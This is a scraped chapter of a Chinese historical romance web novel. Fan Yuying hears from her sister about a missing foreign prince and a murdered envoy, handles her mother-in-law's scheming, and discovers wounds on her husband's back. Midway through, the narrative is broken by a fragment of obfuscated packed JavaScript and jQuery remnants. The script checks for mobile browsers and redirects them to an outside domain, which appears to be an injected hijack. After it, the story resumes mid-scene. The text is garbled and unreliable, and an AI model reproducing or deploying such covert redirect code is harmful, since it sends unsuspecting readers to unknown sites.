默认冷灰
24号文字
方正启体

11. 蹊跷

作者:宁寗本书字数:K更新时间:
    这还是她头一回在梦中男人身上看到如今新鲜的伤口,伤口才结痂,应是受伤没多久。


    受伤?


    范玉盈自觉好笑,一个梦而已,都是假的,又何来受伤一说。


    不过,范玉盈已不是头一回发现,但凡她肌肤上有了什么变化,几乎都会立刻展现在梦中。


    例如上一回被烫红的手腕,再比如这一次右脚红肿的脚踝。


    不得不说,梦中的她除却不能按自己的心意行动,其余的倒还挺真。


    翌日醒来时,范玉盈看着身侧那床似乎并未动过的被褥,秀眉微颦,再问白芷,顾缜昨夜果然一宿未归。


    这还是头一回他都未叫人过来告诉她去向。


    白芷问她可要去李寅那儿探探口风,范玉盈摇了摇头。


    前日才闹翻,这会儿太上赶着,未免惹顾缜怀疑。


    他不可能一直不回来。


    且按前世那般,兴许这会儿顾缜正忙着处理瑄岚使臣自尽一案。


    用过早膳,她让白芷扶着,往西次间而去。她这脚崴得并不算太严重,加之太医院的药疗效甚好,已消了大半的肿。


    只踩下去时,仍有些疼。


    她不愿一直躺着,便在西次间那张书案前坐下,青黛敞了窗,秋风拂入,裹挟着院内山茶的幽香,沁人心脾。


    前世窝在她的采薇轩时,闲来无事,她最喜的便是练字。


    然放眼望去,案面上并无她可提笔落墨的地方。


    书案正中,放着一叠纸张,应是顾缜之物,范玉盈粗粗扫了一眼,却被这笔走龙蛇,遒劲有力的字迹所吸引。


    她这夫君的字,倒是与他外显于人的气质很像,刚正雄健。


    她也不好多加窥看,拿起上头的青釉莲花镇纸,欲将其下一大叠纸张搁在书案一角,然却遗漏了最底下一张。


    纸上密密麻麻的字无可避免地映入她的眼帘。


    只一眼,范玉盈便皱起了眉头。


    这是在写些什么?


    纸上所书,第一二字为“梅梅”,其后所有皆为与“梅梅”发音相似的叠声字。


    她顺着看下去,当视线落在中间“枚枚”二字时,心下骤然一动,生出些异样的感受。


    沉默片刻,她静静收起纸张,心忖这也许只是顾缜一时兴起练的字罢了,没什么特别的。


    白芷取来范玉盈在闺中时便时常临摹的字帖,范玉盈一提笔,便沉浸其中,几乎忘了时辰。


    也不知过了多久,青黛挥开竹帘而入,欣喜道:“姑娘,您瞧谁来了?”


    范玉盈动作微滞,抬眸便见一着雀梅色织金长衫的女子端然而入,冲她抿唇一笑,举手投足落落大方。


    “二姐。”范玉盈有些意外。


    范玉融行至她跟前,见她还有闲心摹帖,打趣道:“看你这般精神,当是没什么大碍了。”


    范玉盈由白芷扶起在对面小榻上与范玉融一道坐下,就听她问道:“脚还疼吗?”


    “好多了,只是踩下去时尚有些刺痛,恐还需再将养几日。”


    范玉融点点头,“大姐姐昨日自宫中捎信给我,将原委都与我说了,你这丫头,都是什么鬼灵精怪的主意。”


    范玉盈端起杯盏,轻啜了口茶水,挑眉道:“那赵五姑娘如何了?”


    提及此事,范玉融面上笑意浓了些,“听闻,被皇贵妃狠狠斥了一顿,罚她闭门思过去了。后来皇贵妃还特意去了东宫,替赵五姑娘向大姐姐赔礼呢,你这一招倒是不错。”


    范玉盈笑了笑,都能想象到赵挽琴如何在皇贵妃面前道自己冤枉,可她纵然再冤也拿不出证据,毕竟是她自己先找上来的,且当时不少听见动静过来的宫婢内侍可都瞧见她在和赵挽琴争执间跌坐在地,太医院还能证明她实打实受了伤,加之赵挽琴倾慕顾缜之事在京中并非什么秘密,这回,她赵挽琴可算是百口莫辩。


    皇贵妃为了不惹怒景贞帝,自然是要快一步下手处置赵挽琴,表明她赵家的态度,纵然恨得牙痒痒,近日在东宫前恐也得夹着尾巴做人。


    范玉融在屋内环视一圈,问道:“世子这几日当是早出晚归,忙得紧吧。”


    在姐姐面前,范玉盈也不必撒谎,如实道:“他昨夜并未回来,或是遇到了什么棘手的案子。”


    “你还不知吗?”听得此言,范玉融有些诧异,她顿了顿,目光往四下扫了扫,范玉盈会意,让白芷将屋内所有仆婢都带了下去。


    门扇一闭,范玉融才继续道:“虽官府拼命封锁了消息,但到底动作太大,不可能一点疏漏也无,此事我也是极偶然得知。”


    她家二姐在京中开了不少茶楼,车马盈门,来来往往的人络绎不绝,其中鱼龙混杂,自也容易探听到一些消息。


    但看她二姐谨慎的模样,恐是与官府朝堂相关。


    “听闻瑄岚的七王子不见了。”


    范玉盈猛然抬首看去,“什么叫不见了?”


    范玉融叹了口气,“听闻中秋宫宴的第二日,七王子不见了踪影,掳走他的人似乎还杀了瑄岚的一个使臣。”


    范玉盈脑中混乱得厉害。


    怎会如此,前世似乎并未发生这样的事,那使臣也是畏罪而死,非为人所杀,七王子也并没有消失啊……


    难道是因她的介入,使献礼一事不复存在,才让背后之人索性一不做二不休,彻底使和谈崩裂。


    虽说眼下七王子生死未卜,若真有个好歹,无论罪魁祸首是哪方,似乎都对和谈不利。


    若此事是瑄岚内部所为,欲嫁祸大盛,挑起两国争端,定会引得本就好战的景贞帝勃然大怒,但反之,若此事是大盛人布的局,瑄岚王痛失爱子,又怎会就此善罢甘休。


    此举于主张和谈的太子而言,无疑是一场死局。


    范玉盈秀眉紧锁,虽说无论如何,这仗最后兴许都会打起来,但她眼下只希望,七王子千万别有事才好。


    “西南属州而今也算太平,我本想着等两边谈和,便可以与瑄岚互通商贸,瑄岚虽远不如大盛繁荣,却有许多大盛没有的药材鲜果,若能处理后运至大盛各地贩卖,也不失为一个商机。”


    “但眼下只怕是……这仗一旦打起来,必然民不聊生,尸横遍野,不知多少百姓和将士要因此丢了性命……”


    范玉融说着,面露唏嘘,也不知想到什么,垂眸有片刻的失神。


    但很快,她笑着将话锋一转,“对了,近日,我与父亲商量着,想重新送阿宥去书院。”


    范玉盈想起上一世,“他肯去?”


    “不去也由不得他,自祖母走后,他是愈发不成器了,再不治治,恐是成了废人。”范玉融眉眼间透出些许疑窦,“说来,这小子也奇怪,祖母在时还算勤勉,这几年却是不学无术,游手好闲,整日在他院里逗弄那些鸟儿。”


    范承宥为何突然转了性子,范玉盈不大关心,“先前那丫头的事,他可有再闹?”


    “同我闹了两回,觉得我不该如此替你掩护,我想着就算说那丫头刻意勾引他,他也不会信,便按你教我的法子,说是我太笨没看出他对那丫头有意思,言他也到了年岁,上赶着禀明父亲替他纳了那丫头,他涨红了脸连连拒绝,才终于消停下来。后来,听说他偷偷派阿忠出去寻人,但并未寻着。”范玉融猜测道,“那丫头或是已被卖到哪儿去了。”


    卖?


    范玉盈在心下轻笑了一声,早已成了尸首也不一定。


    虽说此番是她这位声名狼藉的范三姑娘把人赶出的府,但将那丫头安插在范家的人不一定不怀疑是那丫头已然暴露,稳妥起见,定会斩草除根。


    范玉融又坐着说了许多,眼见快到了用午饭的时辰,便起身离开,范玉盈留她一道用饭,范玉融却是摇了摇头,说她公婆还在家中等她。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469888|185524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >听得此言,范玉盈眸色阴沉了几分,她朱唇微张,本想说什么,但终究只是笑了笑,道了句“二姐的公婆倒是对二姐极好”。


    “是啊。”一向雷厉风行的范玉融想起姚家人,也不免露出些幸福的小女儿情态,“我公公婆婆待我如亲女,不但府中中馈由我掌管,也从不干涉我在外头的生意,我也算是嫁了个好人家。”


    好人家……


    范玉盈看着赧然而笑的范玉融,心里颇有些不是滋味,实在不知她持筹握算,八面玲珑的二姐,怎就会被一个姚家蒙蔽得这般彻底。


    两姐妹这厢正在道别,沈嬷嬷带着几个丫鬟进来了,“大少奶奶,这是夫人给您送来的药材,说是让您好生补补身子的。”


    范玉融在京城的生意,也有些许涉及药材,不过随意一扫,她便知都是不可多得的好东西。


    先不论这位定北侯夫人心下究竟是怎么想她小妹,但这会儿,她定是得做着样子,拉着范玉盈的手道:“你这婆婆实在关切于你,拿了这么好的药材过来,着实让我有些艳羡了。”


    范玉盈亦顺势夸了两句婆母苏氏,便让青黛将范玉融送了出去。


    人走后,她才看向沈嬷嬷,“虽都是好东西,但我身子虚扛不住大补,暂且将东西收至库房吧。”


    说罢,又转而看向那松茗院来的丫鬟巧云,“回去替我向夫人道一声谢。”


    巧云应声罢,忽而道:“其实,夫人前几日就想给大少奶奶送药材来,但因着二房的二少奶奶临盆在即,江家派人送祝米催生,夫人帮着二夫人招待宾客,忙得抽不开身,这才迟了些。”


    范玉盈暗暗垂眸,旋即愧疚道:“哪有什么迟不迟的,伺候婆母原是我的本分,只我这身子不争气,还反让母亲替我操心了。”


    巧云离开后,沈嬷嬷命人将药材入库,趁着帮白芷布置午膳的工夫,笑着道:“听闻这次江家来送祝米,给婴儿的鞋帽襁褓,用的都是难得一见的蜀锦,二夫人那儿也在张罗着,似乎料定了二奶奶这次生的会是个男孩,夫人在旁看着,心里难免不舒服,定也期盼着大少奶奶您养好身子,早些为咱定北侯府开枝散叶呢。”


    范玉盈慢条斯理地嚼着口中的莲藕,似笑非笑,没答话。


    她便知她那婆母不会无缘无故给她送药材,原是与沈嬷嬷排好了这场戏,就等着演给她看呢。


    可她当是不知道,自己与顾缜别说要孩子,至今都未圆房,且她还真从未想过,要替顾缜生儿育女。


    这日,范玉盈依旧等到很晚,却仍是没能等到顾缜回来。


    她到底没架住困,睡了过去,可因着心系七王子一事,并未睡熟。


    半梦半醒间,她仿若听到隔扇门开阖的声响,幽幽睁开眼,在缓缓闭拢的门缝间瞧见一个熟悉的背影。


    意识到那是谁时,范玉盈的睡意顿时去了大半。


    因不知顾缜会不会回来,今夜她并未让人准备羹汤,她支撑着坐起身子,隐约听得有水声自浴间的方向传来。


    她思忖许久,咬了咬牙,强忍着脚踝处传来的刺痛站起来,趿着鞋,扶着手边可以扶的东西艰难地往外而去。


    立在紧闭的浴间门前时,里头的水声骤然停了,她复又迟疑片刻,到底伸手将门推了开来。


    里头热气蒸腾,看不大清晰。


    正考虑要不要踏进去,一声冷厉的“谁”在范玉盈耳畔乍响。


    范玉盈吓了一跳,本就强行立住的身子不免有些摇晃。


    可不等她重新抓住门框,一只强劲有力的手臂已然稳稳托住她的背脊,范玉盈亦下意识用一双柔荑攀住男人宽阔的双肩,却也因着他俯身的动作,几乎上半个身子都贴紧了他的胸膛。


    男人上身赤?裸,灼热的温度混着水汽烙得她一瑟缩,然低眸间,范玉盈心下一颤。


    视线落处,不偏不倚,是顾缜背上那两道醒目的伤口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)